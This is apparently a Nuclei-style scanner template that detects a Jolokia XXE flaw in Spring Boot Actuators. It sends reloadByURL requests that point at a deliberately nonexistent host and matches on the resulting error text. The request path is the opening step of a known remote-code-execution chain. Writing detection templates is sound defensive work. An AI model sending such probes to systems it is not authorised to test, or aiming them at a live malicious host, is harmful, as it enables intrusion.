id: springboot-actuators-jolokia-xxe

info:
  name: Spring Boot Actuators (Jolokia) XXE
  author: dwisiswant0 & ipanda
  severity: high
  description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to preform an XML External Entities attack, include content stored on a remote server as if it was its own - this has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
  reference: |
    - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
    - https://github.com/mpgn/Spring-Boot-Actuator-Exploit
  tags: springboot,jolokia,xxe

requests:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
      - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "http:\\/\\/nonexistent:31337\\/logback.xml"
          - "reloadByURL"
          - "JoranException"
        condition: and
        part: body
      - type: word
        words:
          - "X-Application-Context"
        part: header